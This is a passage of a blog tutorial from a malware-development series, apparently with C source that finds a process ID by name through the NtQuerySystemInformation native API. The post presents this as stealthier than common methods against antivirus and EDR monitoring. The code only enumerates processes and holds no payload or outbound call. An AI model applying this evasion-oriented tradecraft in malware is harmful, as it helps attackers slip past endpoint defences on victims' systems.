Malware development trick 55: enum process via NtQuerySystemInformation. Simple C example.
﷽
Hello, cybersecurity enthusiasts and white hackers!
In one of my early posts, I demonstrated how to find a process ID using the standard CreateToolhelp32Snapshot API. While effective, it is a very common technique that is heavily monitored by AV/EDR solutions and detected via malware analysts.
Another the biggest issue here is performance!
Today, we will look at a more “stealthy” and lower-level approach: using the undocumented (or semi-documented) NtQuerySystemInformation function from ntdll.dll.
NtQuerySystemInformation
Function NtQuerySystemInformation is a powerful function in the Windows Native API that allows a caller to retrieve various types of system information.
__kernel_entry NTSTATUS NtQuerySystemInformation(
[in] SYSTEM_INFORMATION_CLASS SystemInformationClass,
[in, out] PVOID SystemInformation,
[in] ULONG SystemInformationLength,
[out, optional] PULONG ReturnLength
);
Please, note the first line in the documentation!
[NtQuerySystemInformation may be altered or unavailable in future versions of Windows. Applications should use the alternate functions listed in this topic.]
WTF??? ok.
To enumerate processes, we use the SystemProcessInformation class. This returns a buffer containing a sequence of SYSTEM_PROCESS_INFORMATION structures, one for each process running on the system.
practical example
First of all we need to resolve the API. Since NtQuerySystemInformation is not exported by standard headers in a way that’s easy to use, we manually get its address from ntdll.dll using GetProcAddress:
// typedef NtQuerySystemInformation
typedef NTSTATUS (NTAPI *fnNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
//...
pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
Then determine buffer size. We don’t know how much memory we need for all process structures. We call the function once with a NULL buffer. It will fail, but it will return the required length in ReturnLength.
// get buffer size
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)5, NULL, 0, &uReturnLen);
Then we allocate the required buffer on the heap:
// allocate memory
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen);
if (SystemProcInfo == NULL) {
HeapFree(GetProcessHeap(), 0, szTargetProc);
return 0;
}
pValueToFree = SystemProcInfo;
And we call the function a second time with the allocated buffer.
// get information about processes
STATUS = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)5, SystemProcInfo, uReturnLen, &uReturnLen);
if (STATUS != 0) {
HeapFree(GetProcessHeap(), 0, pValueToFree);
HeapFree(GetProcessHeap(), 0, szTargetProc);
return 0;
}
Finally just enum and compare. The data is a linked list of sorts, where each structure points to the next one via NextEntryOffset. We compare our target process name with the ImageName.Buffer in each structure:
// enum
while (TRUE) {
if (SystemProcInfo->ImageName.Length && SystemProcInfo->ImageName.Buffer) {
if (wcscmp(SystemProcInfo->ImageName.Buffer, szTargetProc) == 0) {
pid = (int)(ULONG_PTR)SystemProcInfo->UniqueProcessId;
break;
}
}
if (!SystemProcInfo->NextEntryOffset) break;
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
}
Free the heap memory and return the PID:
// cleanup
HeapFree(GetProcessHeap(), 0, pValueToFree);
HeapFree(GetProcessHeap(), 0, szTargetProc);
return pid;
One important detail: the process names inside the kernel are stored as UNICODE_STRING (WideChar). Since our input is usually an ANSI string (char*), we must convert it using MultiByteToWideChar before comparing:
// convert ANSI to WideChar (LPCWSTR) for comparsion
int nLen = MultiByteToWideChar(CP_ACP, 0, procName, -1, NULL, 0);
WCHAR* szTargetProc = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nLen * sizeof(WCHAR));
if (szTargetProc == NULL) return 0;
MultiByteToWideChar(CP_ACP, 0, procName, -1, szTargetProc, nLen);
Full source code is looks like the following (hack.c):
/*
* hack.c
* process enum via NtQuerySystemInformation
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2025/12/26/malware-trick-55.html
*/
#include <windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntexapi.h#L1324
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION
SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION
SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION
SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION
SystemPathInformation, // not implemented
SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION
SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION
SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION
SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION (EX in: USHORT ProcessorGroup)
SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION
SystemCallTimeInformation, // not implemented // SYSTEM_CALL_TIME_INFORMATION // 10
SystemModuleInformation, // q: RTL_PROCESS_MODULES
SystemLocksInformation, // q: RTL_PROCESS_LOCKS
SystemStackTraceInformation, // q: RTL_PROCESS_BACKTRACES
SystemPagedPoolInformation, // not implemented
SystemNonPagedPoolInformation, // not implemented
SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION
SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION
SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION
SystemVdmInstemulInformation, // q: SYSTEM_VDM_INSTEMUL_INFO
SystemVdmBopInformation, // not implemented // 20
SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache)
SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION
SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION (EX in: USHORT ProcessorGroup)
SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege)
SystemFullMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION
SystemLoadGdiDriverInformation, // s (kernel-mode only)
SystemUnloadGdiDriverInformation, // s (kernel-mode only)
SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege)
SystemSummaryMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION
SystemMirrorMemoryInformation, // s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) // 30
SystemPerformanceTraceInformation, // q; s: (type depends on EVENT_TRACE_INFORMATION_CLASS)
SystemObsolete0, // not implemented
SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION
SystemCrashDumpStateInformation, // s: SYSTEM_CRASH_DUMP_STATE_INFORMATION (requires SeDebugPrivilege)
SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION
SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION
SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege)
SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only
SystemPrioritySeperation, // s (requires SeTcbPrivilege)
SystemVerifierAddDriverInformation, // s (requires SeDebugPrivilege) // 40
SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege)
SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION (EX in: USHORT ProcessorGroup)
SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION
SystemCurrentTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION
SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION
SystemTimeSlipNotification, // s: HANDLE (NtCreateEvent) (requires SeSystemtimePrivilege)
SystemSessionCreate, // not implemented
SystemSessionDetach, // not implemented
SystemSessionInformation, // not implemented (SYSTEM_SESSION_INFORMATION)
SystemRangeStartInformation, // q: SYSTEM_RANGE_START_INFORMATION // 50
SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege)
SystemVerifierThunkExtend, // s (kernel-mode only)
SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION
SystemLoadGdiDriverInSystemSpace, // s: SYSTEM_GDI_DRIVER_INFORMATION (kernel-mode only) (same as SystemLoadGdiDriverInformation)
SystemNumaProcessorMap, // q: SYSTEM_NUMA_INFORMATION
SystemPrefetcherInformation, // q; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation
SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION
SystemRecommendedSharedDataAlignment, // q: ULONG // KeGetRecommendedSharedDataAlignment
SystemComPlusPackage, // q; s: ULONG
SystemNumaAvailableMemory, // q: SYSTEM_NUMA_INFORMATION // 60
SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION (EX in: USHORT ProcessorGroup)
SystemEmulationBasicInformation, // q: SYSTEM_BASIC_INFORMATION
SystemEmulationProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION
SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX
SystemLostDelayedWriteInformation, // q: ULONG
SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION
SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION
SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION
SystemHotpatchInformation, // q; s: SYSTEM_HOTPATCH_CODE_INFORMATION
SystemObjectSecurityMode, // q: ULONG // 70
SystemWatchdogTimerHandler, // s: SYSTEM_WATCHDOG_HANDLER_INFORMATION // (kernel-mode only)
SystemWatchdogTimerInformation, // q: SYSTEM_WATCHDOG_TIMER_INFORMATION // (kernel-mode only)
SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION (EX in: USHORT ProcessorGroup)
SystemWow64SharedInformationObsolete, // not implemented
SystemRegisterFirmwareTableInformationHandler, // s: SYSTEM_FIRMWARE_TABLE_HANDLER // (kernel-mode only)
SystemFirmwareTableInformation, // SYSTEM_FIRMWARE_TABLE_INFORMATION
SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX
SystemVerifierTriageInformation, // not implemented
SystemSuperfetchInformation, // q; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation
SystemMemoryListInformation, // q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) // 80
SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation)
SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege)
SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup)
SystemVerifierCancellationInformation, // SYSTEM_VERIFIER_CANCELLATION_INFORMATION // name:wow64:whNT32QuerySystemVerifierCancellationInformation
SystemProcessorPowerInformationEx, // not implemented
SystemRefTraceInformation, // q; s: SYSTEM_REF_TRACE_INFORMATION // ObQueryRefTraceInformation
SystemSpecialPoolInformation, // q; s: SYSTEM_SPECIAL_POOL_INFORMATION (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0
SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION
SystemErrorPortInformation, // s (requires SeTcbPrivilege)
SystemBootEnvironmentInformation, // q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION // 90
SystemHypervisorInformation, // q: SYSTEM_HYPERVISOR_QUERY_INFORMATION
SystemVerifierInformationEx, // q; s: SYSTEM_VERIFIER_INFORMATION_EX
SystemTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege)
SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege)
SystemCoverageInformation, // q: COVERAGE_MODULES s: COVERAGE_MODULE_REQUEST // ExpCovQueryInformation (requires SeDebugPrivilege)
SystemPrefetchPatchInformation, // SYSTEM_PREFETCH_PATCH_INFORMATION
SystemVerifierFaultsInformation, // s: SYSTEM_VERIFIER_FAULTS_INFORMATION (requires SeDebugPrivilege)
SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION
SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION
SystemProcessorPerformanceDistribution, // q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION (EX in: USHORT ProcessorGroup) // 100
SystemNumaProximityNodeInformation, // q; s: SYSTEM_NUMA_PROXIMITY_MAP
SystemDynamicTimeZoneInformation, // q; s: RTL_DYNAMIC_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege)
SystemCodeIntegrityInformation, // q: SYSTEM_CODEINTEGRITY_INFORMATION // SeCodeIntegrityQueryInformation
SystemProcessorMicrocodeUpdateInformation, // s: SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION
SystemProcessorBrandString, // q: CHAR[] // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23
SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation
SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX (EX in: LOGICAL_PROCESSOR_RELATIONSHIP RelationshipType) // since WIN7 // KeQueryLogicalProcessorRelationship
SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup)
SystemStoreInformation, // q; s: SYSTEM_STORE_INFORMATION (requires SeProfileSingleProcessPrivilege) // SmQueryStoreInformation
SystemRegistryAppendString, // s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // 110
SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege)
SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION
SystemCpuQuotaInformation, // q; s: PS_CPU_QUOTA_QUERY_INFORMATION
SystemNativeBasicInformation, // q: SYSTEM_BASIC_INFORMATION
SystemErrorPortTimeouts, // SYSTEM_ERROR_PORT_TIMEOUTS
SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION
SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation
SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION
SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool)
SystemSystemPtesInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) // 120
SystemNodeDistanceInformation, // q: USHORT[4*NumaNodes] // (EX in: USHORT NodeNumber)
SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26
SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation
SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1
SystemSessionBigPoolInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION // since WIN8
SystemBootGraphicsInformation, // q; s: SYSTEM_BOOT_GRAPHICS_INFORMATION (kernel-mode only)
SystemScrubPhysicalMemoryInformation, // q; s: MEMORY_SCRUB_INFORMATION
SystemBadPageInformation,
SystemProcessorProfileControlArea, // q; s: SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA
SystemCombinePhysicalMemoryInformation, // s: MEMORY_COMBINE_INFORMATION, MEMORY_COMBINE_INFORMATION_EX, MEMORY_COMBINE_INFORMATION_EX2 // 130
SystemEntropyInterruptTimingInformation, // q; s: SYSTEM_ENTROPY_TIMING_INFORMATION
SystemConsoleInformation, // q; s: SYSTEM_CONSOLE_INFORMATION
SystemPlatformBinaryInformation, // q: SYSTEM_PLATFORM_BINARY_INFORMATION (requires SeTcbPrivilege)
SystemPolicyInformation, // q: SYSTEM_POLICY_INFORMATION (Warbird/Encrypt/Decrypt/Execute)
SystemHypervisorProcessorCountInformation, // q: SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION
SystemDeviceDataInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION
SystemDeviceDataEnumerationInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION
SystemMemoryTopologyInformation, // q: SYSTEM_MEMORY_TOPOLOGY_INFORMATION
SystemMemoryChannelInformation, // q: SYSTEM_MEMORY_CHANNEL_INFORMATION
SystemBootLogoInformation, // q: SYSTEM_BOOT_LOGO_INFORMATION // 140
SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // (EX in: USHORT ProcessorGroup) // since WINBLUE
SystemCriticalProcessErrorLogInformation,
SystemSecureBootPolicyInformation, // q: SYSTEM_SECUREBOOT_POLICY_INFORMATION
SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX
SystemSecureBootInformation, // q: SYSTEM_SECUREBOOT_INFORMATION
SystemEntropyInterruptTimingRawInformation,
SystemPortableWorkspaceEfiLauncherInformation, // q: SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION
SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin)
SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX
SystemBootMetadataInformation, // 150
SystemSoftRebootInformation, // q: ULONG
SystemElamCertificateInformation, // s: SYSTEM_ELAM_CERTIFICATE_INFORMATION
SystemOfflineDumpConfigInformation, // q: OFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V2
SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION
SystemRegistryReconciliationInformation, // s: NULL (requires admin) (flushes registry hives)
SystemEdidInformation, // q: SYSTEM_EDID_INFORMATION
SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD
SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION
SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION
SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION (EX in: USHORT ProcessorGroup) // 160
SystemVmGenerationCountInformation,
SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION
SystemKernelDebuggerFlags, // SYSTEM_KERNEL_DEBUGGER_FLAGS
SystemCodeIntegrityPolicyInformation, // q; s: SYSTEM_CODEINTEGRITYPOLICY_INFORMATION
SystemIsolatedUserModeInformation, // q: SYSTEM_ISOLATED_USER_MODE_INFORMATION
SystemHardwareSecurityTestInterfaceResultsInformation,
SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION
SystemAllowedCpuSetsInformation,
SystemVsmProtectionInformation, // q: SYSTEM_VSM_PROTECTION_INFORMATION (previously SystemDmaProtectionInformation)
SystemInterruptCpuSetsInformation, // q: SYSTEM_INTERRUPT_CPU_SET_INFORMATION // 170
SystemSecureBootPolicyFullInformation, // q: SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION
SystemCodeIntegrityPolicyFullInformation,
SystemAffinitizedInterruptProcessorInformation, // (requires SeIncreaseBasePriorityPrivilege)
SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION
SystemCpuSetInformation, // q: SYSTEM_CPU_SET_INFORMATION // since THRESHOLD2
SystemCpuSetTagInformation, // q: SYSTEM_CPU_SET_TAG_INFORMATION
SystemWin32WerStartCallout,
SystemSecureKernelProfileInformation, // q: SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION
SystemCodeIntegrityPlatformManifestInformation, // q: SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION // since REDSTONE
SystemInterruptSteeringInformation, // SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT // 180
SystemSupportedProcessorArchitectures, // p: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx
SystemMemoryUsageInformation, // q: SYSTEM_MEMORY_USAGE_INFORMATION
SystemCodeIntegrityCertificateInformation, // q: SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION
SystemPhysicalMemoryInformation, // q: SYSTEM_PHYSICAL_MEMORY_INFORMATION // since REDSTONE2
SystemControlFlowTransition, // (Warbird/Encrypt/Decrypt/Execute)
SystemKernelDebuggingAllowed, // s: ULONG
SystemActivityModerationExeState, // SYSTEM_ACTIVITY_MODERATION_EXE_STATE
SystemActivityModerationUserSettings, // SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS
SystemCodeIntegrityPoliciesFullInformation,
SystemCodeIntegrityUnlockInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION // 190
SystemIntegrityQuotaInformation,
SystemFlushInformation, // q: SYSTEM_FLUSH_INFORMATION
SystemProcessorIdleMaskInformation, // q: ULONG_PTR[ActiveGroupCount] // since REDSTONE3
SystemSecureDumpEncryptionInformation,
SystemWriteConstraintInformation, // SYSTEM_WRITE_CONSTRAINT_INFORMATION
SystemKernelVaShadowInformation, // SYSTEM_KERNEL_VA_SHADOW_INFORMATION
SystemHypervisorSharedPageInformation, // SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION // since REDSTONE4
SystemFirmwareBootPerformanceInformation,
SystemCodeIntegrityVerificationInformation, // SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION
SystemFirmwarePartitionInformation, // SYSTEM_FIRMWARE_PARTITION_INFORMATION // 200
SystemSpeculationControlInformation, // SYSTEM_SPECULATION_CONTROL_INFORMATION // (CVE-2017-5715) REDSTONE3 and above.
SystemDmaGuardPolicyInformation, // SYSTEM_DMA_GUARD_POLICY_INFORMATION
SystemEnclaveLaunchControlInformation, // SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION
SystemWorkloadAllowedCpuSetsInformation, // SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION // since REDSTONE5
SystemCodeIntegrityUnlockModeInformation,
SystemLeapSecondInformation, // SYSTEM_LEAP_SECOND_INFORMATION
SystemFlags2Information, // q: SYSTEM_FLAGS_INFORMATION
SystemSecurityModelInformation, // SYSTEM_SECURITY_MODEL_INFORMATION // since 19H1
SystemCodeIntegritySyntheticCacheInformation,
SystemFeatureConfigurationInformation, // SYSTEM_FEATURE_CONFIGURATION_INFORMATION // since 20H1 // 210
SystemFeatureConfigurationSectionInformation, // SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION
SystemFeatureUsageSubscriptionInformation, // SYSTEM_FEATURE_USAGE_SUBSCRIPTION_DETAILS
SystemSecureSpeculationControlInformation, // SECURE_SPECULATION_CONTROL_INFORMATION
SystemSpacesBootInformation, // since 20H2
SystemFwRamdiskInformation, // SYSTEM_FIRMWARE_RAMDISK_INFORMATION
SystemWheaIpmiHardwareInformation,
SystemDifSetRuleClassInformation,
SystemDifClearRuleClassInformation,
SystemDifApplyPluginVerificationOnDriver,
SystemDifRemovePluginVerificationOnDriver, // 220
SystemShadowStackInformation, // SYSTEM_SHADOW_STACK_INFORMATION
SystemBuildVersionInformation, // SYSTEM_BUILD_VERSION_INFORMATION
SystemPoolLimitInformation, // SYSTEM_POOL_LIMIT_INFORMATION (requires SeIncreaseQuotaPrivilege)
SystemCodeIntegrityAddDynamicStore,
SystemCodeIntegrityClearDynamicStores,
SystemDifPoolTrackingInformation,
SystemPoolZeroingInformation, // SYSTEM_POOL_ZEROING_INFORMATION
SystemDpcWatchdogInformation,
SystemDpcWatchdogInformation2,
SystemSupportedProcessorArchitectures2, // q: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx // 230
SystemSingleProcessorRelationshipInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // (EX in: PROCESSOR_NUMBER Processor)
SystemXfgCheckFailureInformation,
SystemIommuStateInformation, // SYSTEM_IOMMU_STATE_INFORMATION // since 22H1
SystemHypervisorMinrootInformation, // SYSTEM_HYPERVISOR_MINROOT_INFORMATION
SystemHypervisorBootPagesInformation, // SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION
SystemPointerAuthInformation, // SYSTEM_POINTER_AUTH_INFORMATION
SystemSecureKernelDebuggerInformation,
SystemOriginalImageFeatureInformation,
MaxSystemInfoClass
} SYSTEM_INFORMATION_CLASS;
// https://processhacker.sourceforge.io/doc/ntbasic_8h.html
typedef LONG KPRIORITY;
// https://doxygen.reactos.org/da/df4/struct__SYSTEM__PROCESS__INFORMATION.html
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER WorkingSetPrivateSize; //VISTA
ULONG HardFaultCount; //WIN7
ULONG NumberOfThreadsHighWatermark; //WIN7
ULONGLONG CycleTime; //WIN7
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR PageDirectoryBase;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
// SYSTEM_THREAD_INFORMATION TH[1];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
// typedef NtQuerySystemInformation
typedef NTSTATUS (NTAPI *fnNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
int findMyProc(const char* procName) {
fnNtQuerySystemInformation pNtQuerySystemInformation = NULL;
ULONG uReturnLen = 0;
PSYSTEM_PROCESS_INFORMATION SystemProcInfo = NULL;
PVOID pValueToFree = NULL;
NTSTATUS STATUS = 0;
int pid = 0;
// get function address from ntdll
pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (pNtQuerySystemInformation == NULL) return 0;
// convert ANSI to WideChar (LPCWSTR) for comparsion
int nLen = MultiByteToWideChar(CP_ACP, 0, procName, -1, NULL, 0);
WCHAR* szTargetProc = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nLen * sizeof(WCHAR));
if (szTargetProc == NULL) return 0;
MultiByteToWideChar(CP_ACP, 0, procName, -1, szTargetProc, nLen);
// get buffer size
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)5, NULL, 0, &uReturnLen);
// allocate memory
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen);
if (SystemProcInfo == NULL) {
HeapFree(GetProcessHeap(), 0, szTargetProc);
return 0;
}
pValueToFree = SystemProcInfo;
// get information about processes
STATUS = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)5, SystemProcInfo, uReturnLen, &uReturnLen);
if (STATUS != 0) {
HeapFree(GetProcessHeap(), 0, pValueToFree);
HeapFree(GetProcessHeap(), 0, szTargetProc);
return 0;
}
// enum
while (TRUE) {
if (SystemProcInfo->ImageName.Length && SystemProcInfo->ImageName.Buffer) {
if (wcscmp(SystemProcInfo->ImageName.Buffer, szTargetProc) == 0) {
pid = (int)(ULONG_PTR)SystemProcInfo->UniqueProcessId;
break;
}
}
if (!SystemProcInfo->NextEntryOffset) break;
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
}
// cleanup
HeapFree(GetProcessHeap(), 0, pValueToFree);
HeapFree(GetProcessHeap(), 0, szTargetProc);
return pid;
}
int main(int argc, char* argv[]) {
int pid = 0; // process ID
